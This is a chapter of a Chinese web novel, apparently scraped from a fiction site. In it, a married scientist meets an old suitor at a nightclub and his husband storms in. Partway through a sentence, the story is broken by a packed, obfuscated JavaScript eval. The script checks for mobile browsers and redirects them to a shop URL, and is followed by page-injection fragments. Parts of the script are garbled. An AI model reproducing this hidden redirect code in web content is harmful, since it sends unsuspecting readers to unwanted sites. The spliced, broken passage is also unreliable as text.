风竹小说 > 都市言情 > 求助:老婆变心了怎么办 > 6.1分男(二更
    随着年纪渐长,宋祎辰一直跟他保持着既不过分靠近也不远离的距离,充其量是替他包揽了浪费时间的小组作业,生日节日的卡点祝福,偶尔托人送给他的零碎小礼物。

    但说是好朋友,也并不像徐达那样勾肩搭背地跟他“哥俩好”。

    所以即便出国留学,宋祎辰成了陌生环境里唯一熟悉的人,沈清许也没觉得对方跟自己有多么熟悉。

    结果临近博士毕业,终于消化完他性取向的父母,在一次越洋通话里,状似不经意地提起:“清清,如果你将来考虑婚姻……我觉得其实宋家那孩子,各方面都和你很匹配。”

    “你们有共同话题,两家生意上也一直有助力,两全其美啊。”

    沈清许彼时正被实验数据缠得心烦,闻言毫不犹豫地回绝:“我跟宋祎辰不熟。”

    电话那头静了一瞬,随即传来母亲难以置信的讶异:

    “怎么可能?联姻是祎辰这孩子主动提的,平常逢年过节都特意给我们打电话问候,周到得很。前些年你爸爸手术,他还托关系介绍了国外的专家……我们都以为,你们俩早就……”

    沈清许沉默少顷。

    明里暗里对他表露好感的人太多了,宋祎辰没什么特别的。

    他不反感宋祎辰,但这种在他毫无察觉的情况下,渗透介入他家庭的行为还是让他感觉到边界被冒犯。

    后来宋祎辰百般道歉,解释那只是出于对世交长辈的礼节和对他本人的关心,绝无施压或越界之意。

    沈清许接受了道歉,但心底那点纯粹的同窗之谊,终究蒙上了一层难以言说的隔阂,联系便也自然而然淡了。

    不过,比起这些陈年旧账,他现在对宋祎辰手里的研究成果更感兴趣。

    对方突然低调回国,多半是项目有了关键进展,甚至可能已引起某些方面的注意。能拿到第一手资料或探听到风向,对他的研究无疑是极有价值的。

    但是,周怀那边要不要说一声……

    他这算背着丈夫去见....见老熟人吗,不算吧?

    他跟周怀谁都没有谈论过自己的过去,所以周怀不认识宋祎辰。

    不对,为什么要思考这个?

    沈清许觉得自己的思维被小三跟前夫影响得有点奇怪。

    思虑再三,沈清许还是先联系了秘书长。

    可怜的秘书长对他的电话犹如惊弓之鸟,战战兢兢地回复:“夫...少,少爷,周董还在办公,一刻钟之前刚让总经理送了紧急资料上去。”

    沈清许一挑眉,这不是还活着,就把要来接前妻的事给抛之脑后了。

    怪不得变成前夫了。

    邀约方毁约在先,沈清许正好不用纠结,开车驶向徐达发过来的地点。

    徐达联系上他的时间本就偏晚,等沈清许抵达现场时,场上的人已酒过三巡,气氛正好。

    属于富二代用来社交消遣的会所风气都歪得厉害,桌面上酒瓶林立,舞池里的男男女女穿着清凉,身影时不时交织在一处。

    放眼望去,首都所有叫得上名的大亨富豪之子全都在这里了。

    沈清许来得匆忙,懒得额外换衣服,外面还披着遮风的白大褂,腰肢被衬的极细,为了方便开车把马尾扎得很低,乌黑的发丝松松垮垮地窝在白皙的颈侧。

    清冷禁欲的气质与灯红酒绿的氛围格格不入,见沈清许从门外径直走向局头汇集的沙发,全场的目光瞬间沸腾了起来。

    这是来玩的,还是被玩的?

    有人瞥见了沈清许无名指低调的戒指,不免可惜:“我就说这种极品都有主吧。”

    “这种人-妻喊老公最猛了。”

    “长这样能安分就怪了,你也不想想他来这难道是相夫教子的?对象早满头绿帽了。”

    沈清许早就习惯注视的感觉,他随手从桌上拿起酒杯走到中间,抬了抬下巴:“给我挪个沙发出来。”

    被他示意的小年轻是个生面孔,见状微微一愣,下意识向旁边一挪,空出大半个沙发位置。

    下一秒他就被人拎起来扔到了一边:“哈哈哈,小子,你还没资格跟我们沈少坐一块呢。”

    “要不说还得是宋哥面子大,人还没来呢就能先把沈少从家里挖出来。”

    “难道不是从沈少老公手心里吗?”有人开着玩笑,“我们少爷结了婚就大门不出二门不迈喽。”

    众人看着沈清许的脸色,响起试探的笑声。

    他们都是朋友没错,但从不混迹夜场,向来只交满分答卷的沈清许又是只能让他们向往艳羡的存在。

    漂亮,有本事,又完美。

    这样的人却嫁给了一个男人当老婆,那枚严丝合缝的婚戒好像在这层光环上凿了一个缺儿,告诉所有人,高岭之花也是可以被人捧在手心任意揉-搓的。

    徐达皱着眉挥了挥手:“行了行了,接着聊你们的女人去。”

    说完凑到沈清许跟前:“祎辰堵在机场了,他听说你能来特别高兴——周哥咋样了,你过来喝酒行不行啊。”

    沈清许懒洋洋地抿着酒液,闻言斜眼看去,皮笑肉不笑:“你也觉得他管得了我?”

    他本来就不参与同龄人声色犬马的交际,婚后更是忙碌到在社交圈神隐。

    怎么就变成老公管得严了?

    他一年不回家周怀都不会多问一句。

    徐达摸-摸头:“没有,就是现在周哥是,哪个周哥啊?”

    “前夫....除了他是我上学时谈过的青梅竹马男友以外,还没什么有用的信息。”

    徐达给他提供思路:“要不问问周哥当初为啥会分手,分手挺刺-激的吧,搞不好是个锚点。”

    “我问了,他说不知道。”沈清许皱了皱眉,把杯底一饮而尽,“而且我又没跟他分手过。”

    “我们第一次见面就是在熵行的会议室,谁跟他搞过早恋。”

    “....也是哦,呃那就是周哥小说看多了?”

    沈清许凝神半晌,问:“有没有可能,是他把跟别人的破事套我身上了。”

    “你不是说副人格是主体内心的渴望的映射,这个渴望不一定来源于我吧。”

    沈清许换了杯新的啤酒握在掌心,自言自语:“我不想查这东西,太掉价了。”

    虽然他跟周怀婚姻起点商业的不能再商业,但如果查出来周怀真的有什么放不下的白月光,这个委屈他不会受,等周怀把精神病治好就民政局见。

    “那就交给我来办吧,”徐达最怕掺和两口子之间的感情纠纷,保守地换了话题,“你也别太想多了,啥时候把周哥带过来见见,我觉得还是需要面诊。”

    沈清许又换了一杯特调,视线在虚空中发散,他略带惆怅地感慨:

    “面诊.....我也需要。”

    “人不能同时把一个男人既当丈夫又当前夫。”

    他好像也不能同时给一个男人当老婆和奸夫。

    “比起这个,周怀恐怕很快就会开始怀疑我是不是真的在外面有人了,”沈清许说,“这怎么办啊?”

    徐达光是听着就有点承受不住,下意识抹了抹口袋里的烟盒:

    “你可别到时候真搞起来捉奸了,都是一个人谁捉谁啊,那还不如早点摊牌呢....”

    沈清许眯了眯眼,睫毛像把密实的小刷子,盯着徐达的胳膊:“给我来一根。”

    “别啊,你又没瘾,而且不是早戒了,”徐达讪笑着试图婉拒,“咱有压力就去喝点酒嘛,周哥陪你一块戒的烟,你现在抽岂不是——”

    “抽我的吧。”

    徐达虚弱的尾音消失在空气中,被另一道突然造访的清润男声所掩盖。

    包厢内光线幽暗,音乐与人声混杂,他们沉浸于谈话中,谁都没注意宋祎辰是何时悄无声息地靠近、又驻足听了多久。

    身后,身形挺拔利落的男人似乎好不容易才从人流中脱身,肩头还缭绕着场内嘈杂的人声与酒气。

    他冲沈清许笑了笑,递上一支包装精致的香烟。

    沈清许盯着那支烟看了两秒,冷淡地收回视线:“不用了,谢谢。”

    宋屹辰如善从流地将烟收回,目光却定定落在他脸上,像是要将他此刻的轮廓刻入眼里,彬彬有礼的微笑:

    “好久不见,清清。”

    “快让座让座,正主来了!”

    “宋博士总算到了!”

    沙发上原本嬉闹的一伙人顿时起身,纷纷笑着招呼,言语间不乏讨好与热络。宋祎辰只微微颔首,目光却始终落在沈清许身上。

    宋祎辰径直坐在了沈清许的左手边,声音压低了些,带着一种刻意营造的私密感:

    “这次回国很仓促,我没通知任何人。除了你,清清。谢谢你愿意来。”

    被挤远的徐达:?

    沈清许抬起眼,眸中没什么情绪,直言:“不是你让徐达约我来的吗?难为你临时借别人的酒局。”

    宋祎辰的想法很好猜,担心私下单独约他失败概率太高,于是借不清楚他们那些不愉快的徐达之口来游说,以免一上来就让关系僵化。

    宋祎辰:“……”

    他脸上完美的微笑出现一丝裂痕,随即化为无奈的苦笑,“你还是对我这么……直接。就不能先叙叙旧吗?比如,你最近过得怎么样?”

    “你想听好还是不好?”

    沈清许又干掉一杯,伸手去拿新的却被拦下,宋祎辰顺势握住他的手腕压-在沙发上,没人能看见:“你不能再喝了。”

    “心情不好吗,”宋祎辰靠近他,低声道,“因为什么,你丈夫?”

    “...松手。”

    沈清许眯着眼:“你没资格管我的私事。别越界。”

    他想起身离开,却头晕目眩,比起大脑酒精先麻痹了他的躯干,沈清许暂时只

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16912942|192404||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    有嘴能动。

    宋祎辰的脸近在咫尺,他笑了一声:“如果你喝多了,可以回答一个困扰了我很久的问题吗?”

    “......”

    “熵行的周老板的确是个有手腕的人,但说到底,根基尚浅,背后没有家族依仗,单打独斗,风险不小。”

    宋祎辰的语气斟酌而恳切,“你跟了他,算是他高攀吧。明明当时,你还有更多更稳妥、更门当户对的选择。”

    沈清许歪着脑袋:“你是指,你自己吗?”

    他微不可查地叹了口气,语气里听不出什么情绪,甚至有点百无聊赖,

    “祎辰,说实话,我有点失望。这么久了,你好像还困在过去那点念想里打转。”

    “你连家人都不知会却先费尽心机地见我,如果为了分享科研成果,或许我还能高看你一眼。”

    这话似乎刺中了什么。宋祎辰一直维持的温文面具骤然绷紧,他非但没有松手,反而更用力地握紧了沈清许的手腕,指节因为用力而微微泛白。

    “如果你是真喜欢他,我无话可说。”

    宋祎辰声音压得极低,却带着一种压抑不住的激动和急切,甚至有一丝痛心。

    “可他又和我有什么区别?不,他明明应该比我让你恶心得多,你根本不知道周怀是个什么样的人,他那些上不得台面的手段,那些背地里的龌-龊!只要你愿意听,我都可以告诉你——”

    “砰——!!!”

    一声巨响!

    那扇厚重隔音、刚刚闭合不久的大门,仿佛被攻城锤正面击中,门轴发出不堪重负的呻-吟,整扇门板以一种极其暴力的姿态向内轰然弹开,重重撞在墙壁上发出震耳欲聋的回响。

    光滑的木地板上,甚至留下了门板撞击擦出的淡淡痕迹,硝烟般的气氛瞬间弥漫。

    烟尘微散处,一道高大挺拔的身影逆着走廊的光,出现在破碎的门框中-央。

    剪裁精良的西装外套随意搭在臂弯,衬衫领口方便发力松了两颗,露出精悍的肌肉线条。

    周怀站在那儿,脸色冷得能刮下一层霜,眼神如同淬了冰的刀子,缓缓扫过包厢内每一个僵住的人,最终,钉在了沙发上一坐一立、手腕还被攥着的两人身上。

    死寂。

    但每个人心里都响起一阵强劲的bg

    《绿光》

    会所的管理员立刻带着这层的安保全副武装地赶到,周怀却从西装一侧抽出一张镶着金边的黑色会员卡,随手向后一扔。

    管理员看了眼局势,飞速改变策略,冲着对讲机:“闯入者是VVVVIP贵宾,有钱赔!只疏散人群就行了!”

    所有人:“.......”

    徐达第一个魂飞魄散地冲上去,身先士卒的替发小挡住狂风暴雨,只可惜语无伦次:

    “周周周周哥哥,等等一下,都是误会,不是,没有误会,也不是,什么都没有!”

    徐达舍命相助,扭头拼命向沈清许使眼色,希望他赶紧过来说句话。

    或者至少先把被宋祎

本章未完,请点击下一页继续阅读>>